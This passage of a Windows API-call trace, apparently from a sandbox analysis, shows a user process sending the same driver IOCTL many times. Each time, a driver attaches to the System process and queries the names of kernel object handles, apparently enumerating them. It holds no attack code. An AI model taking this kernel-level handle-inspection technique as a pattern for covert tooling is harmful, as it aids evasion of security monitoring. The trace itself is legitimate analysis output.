(Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.015] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.015] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.015] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0130.015] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.015] PsAcquireProcessExitSynchronization () returned 0x0 [0130.015] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.015] ObReferenceObjectByHandle (in: Handle=0xffffffff8000029c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030a9cf0, HandleInformation=0x0) returned 0x0 [0130.015] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.015] PsReleaseProcessExitSynchronization () returned 0x2 [0130.015] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.015] ObQueryNameString (in: Object=0xfffffa80030a9cf0, ObjectNameInfo=0xfffffa80039c77c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80039c77c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.015] ObfDereferenceObject (Object=0xfffffa80030a9cf0) returned 0x1 [0130.015] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.015] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.015] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.015] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xf6, lpOverlapped=0x0) returned 1 [0130.015] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.015] PsAcquireProcessExitSynchronization () returned 0x0 [0130.015] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.015] ObReferenceObjectByHandle (in: Handle=0xffffffff800002b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002c27aa0, HandleInformation=0x0) returned 0x0 [0130.015] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.015] PsReleaseProcessExitSynchronization () returned 0x2 [0130.015] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.015] ObQueryNameString (in: Object=0xfffffa8002c27aa0, ObjectNameInfo=0xfffffa80024497c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80024497c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.015] ObfDereferenceObject (Object=0xfffffa8002c27aa0) returned 0x2 [0130.015] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.016] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.016] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.016] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.016] PsAcquireProcessExitSynchronization () returned 0x0 [0130.016] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.016] ObReferenceObjectByHandle (in: Handle=0xffffffff800002bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021877b0, HandleInformation=0x0) returned 0x0 [0130.016] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.016] PsReleaseProcessExitSynchronization () returned 0x2 [0130.016] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.016] ObQueryNameString (in: Object=0xfffffa80021877b0, ObjectNameInfo=0xfffffa800245d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800245d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.016] ObfDereferenceObject (Object=0xfffffa80021877b0) returned 0x2 [0130.016] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.016] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.016] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0130.016] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.016] PsAcquireProcessExitSynchronization () returned 0x0 [0130.016] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.016] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030d6f20, HandleInformation=0x0) returned 0x0 [0130.016] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.016] PsReleaseProcessExitSynchronization () returned 0x2 [0130.016] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.016] ObQueryNameString (in: Object=0xfffffa80030d6f20, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0130.016] ObfDereferenceObject (Object=0xfffffa80030d6f20) returned 0x2 [0130.016] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.016] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.016] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.016] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0130.016] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.016] PsAcquireProcessExitSynchronization () returned 0x0 [0130.016] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.016] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030dd070, HandleInformation=0x0) returned 0x0 [0130.017] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.017] PsReleaseProcessExitSynchronization () returned 0x2 [0130.017] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.017] ObQueryNameString (in: Object=0xfffffa80030dd070, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.017] ObfDereferenceObject (Object=0xfffffa80030dd070) returned 0x1 [0130.017] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.017] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.017] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0130.017] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.017] PsAcquireProcessExitSynchronization () returned 0x0 [0130.017] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.017] ObReferenceObjectByHandle (in: Handle=0xffffffff800002dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030dda80, HandleInformation=0x0) returned 0x0 [0130.017] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.017] PsReleaseProcessExitSynchronization () returned 0x2 [0130.017] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.017] ObQueryNameString (in: Object=0xfffffa80030dda80, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.017] ObfDereferenceObject (Object=0xfffffa80030dda80) returned 0x1 [0130.017] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.017] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.017] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.017] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0130.017] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.017] PsAcquireProcessExitSynchronization () returned 0x0 [0130.018] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.018] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030dd7e0, HandleInformation=0x0) returned 0x0 [0130.018] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.018] PsReleaseProcessExitSynchronization () returned 0x2 [0130.018] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.018] ObQueryNameString (in: Object=0xfffffa80030dd7e0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.018] ObfDereferenceObject (Object=0xfffffa80030dd7e0) returned 0x1 [0130.018] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.018] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.018] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0130.018] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.018] PsAcquireProcessExitSynchronization () returned 0x0 [0130.018] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.018] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800f8cfbe0, HandleInformation=0x0) returned 0x0 [0130.018] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.018] PsReleaseProcessExitSynchronization () returned 0x2 [0130.018] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.018] ObQueryNameString (in: Object=0xfffffa800f8cfbe0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.018] ObfDereferenceObject (Object=0xfffffa800f8cfbe0) returned 0x2 [0130.018] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.018] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.018] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.018] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0130.018] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.018] PsAcquireProcessExitSynchronization () returned 0x0 [0130.018] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.018] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030dd610, HandleInformation=0x0) returned 0x0 [0130.018] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.018] PsReleaseProcessExitSynchronization () returned 0x2 [0130.018] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.018] ObQueryNameString (in: Object=0xfffffa80030dd610, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.018] ObfDereferenceObject (Object=0xfffffa80030dd610) returned 0x2 [0130.018] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.019] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.019] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.019] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.019] PsAcquireProcessExitSynchronization () returned 0x0 [0130.019] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.019] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030c4f20, HandleInformation=0x0) returned 0x0 [0130.019] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.019] PsReleaseProcessExitSynchronization () returned 0x2 [0130.019] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.019] ObQueryNameString (in: Object=0xfffffa80030c4f20, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.019] ObfDereferenceObject (Object=0xfffffa80030c4f20) returned 0x1 [0130.019] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.019] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.019] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0130.019] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.019] PsAcquireProcessExitSynchronization () returned 0x0 [0130.019] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.019] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030c4770, HandleInformation=0x0) returned 0x0 [0130.019] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.019] PsReleaseProcessExitSynchronization () returned 0x2 [0130.019] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.019] ObQueryNameString (in: Object=0xfffffa80030c4770, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.019] ObfDereferenceObject (Object=0xfffffa80030c4770) returned 0x2 [0130.019] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.019] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.019] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.019] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0130.019] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.019] PsAcquireProcessExitSynchronization () returned 0x0 [0130.019] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.019] ObReferenceObjectByHandle (in: Handle=0xffffffff8000031c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800d41c950, HandleInformation=0x0) returned 0x0 [0130.019] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.020] PsReleaseProcessExitSynchronization () returned 0x2 [0130.020] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.020] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000508) returned 0x0 [0130.020] ObfDereferenceObject (Object=0xfffffa800d41c950) returned 0x12 [0130.020] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.020] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.020] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xf2, lpOverlapped=0x0) returned 1 [0130.020] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.020] PsAcquireProcessExitSynchronization () returned 0x0 [0130.020] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.020] ObReferenceObjectByHandle (in: Handle=0xffffffff80000320, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f32a0, HandleInformation=0x0) returned 0x0 [0130.020] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.020] PsReleaseProcessExitSynchronization () returned 0x2 [0130.020] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.020] ObQueryNameString (in: Object=0xfffffa80030f32a0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.020] ObfDereferenceObject (Object=0xfffffa80030f32a0) returned 0x2 [0130.020] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.020] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.020] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.020] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0130.020] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.020] PsAcquireProcessExitSynchronization () returned 0x0 [0130.020] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.020] ObReferenceObjectByHandle (in: Handle=0xffffffff80000324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f28a0, HandleInformation=0x0) returned 0x0 [0130.020] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.020] PsReleaseProcessExitSynchronization () returned 0x2 [0130.020] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.020] ObQueryNameString (in: Object=0xfffffa80030f28a0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.020] ObfDereferenceObject (Object=0xfffffa80030f28a0) returned 0x1 [0130.020] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.021] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.021] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0130.021] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.021] PsAcquireProcessExitSynchronization () returned 0x0 [0130.021] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.021] ObReferenceObjectByHandle (in: Handle=0xffffffff80000328, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030f26d0, HandleInformation=0x0) returned 0x0 [0130.021] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.021] PsReleaseProcessExitSynchronization () returned 0x2 [0130.021] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.021] ObQueryNameString (in: Object=0xfffffa80030f26d0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.021] ObfDereferenceObject (Object=0xfffffa80030f26d0) returned 0x1 [0130.021] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.021] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.021] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.021] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0130.021] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: 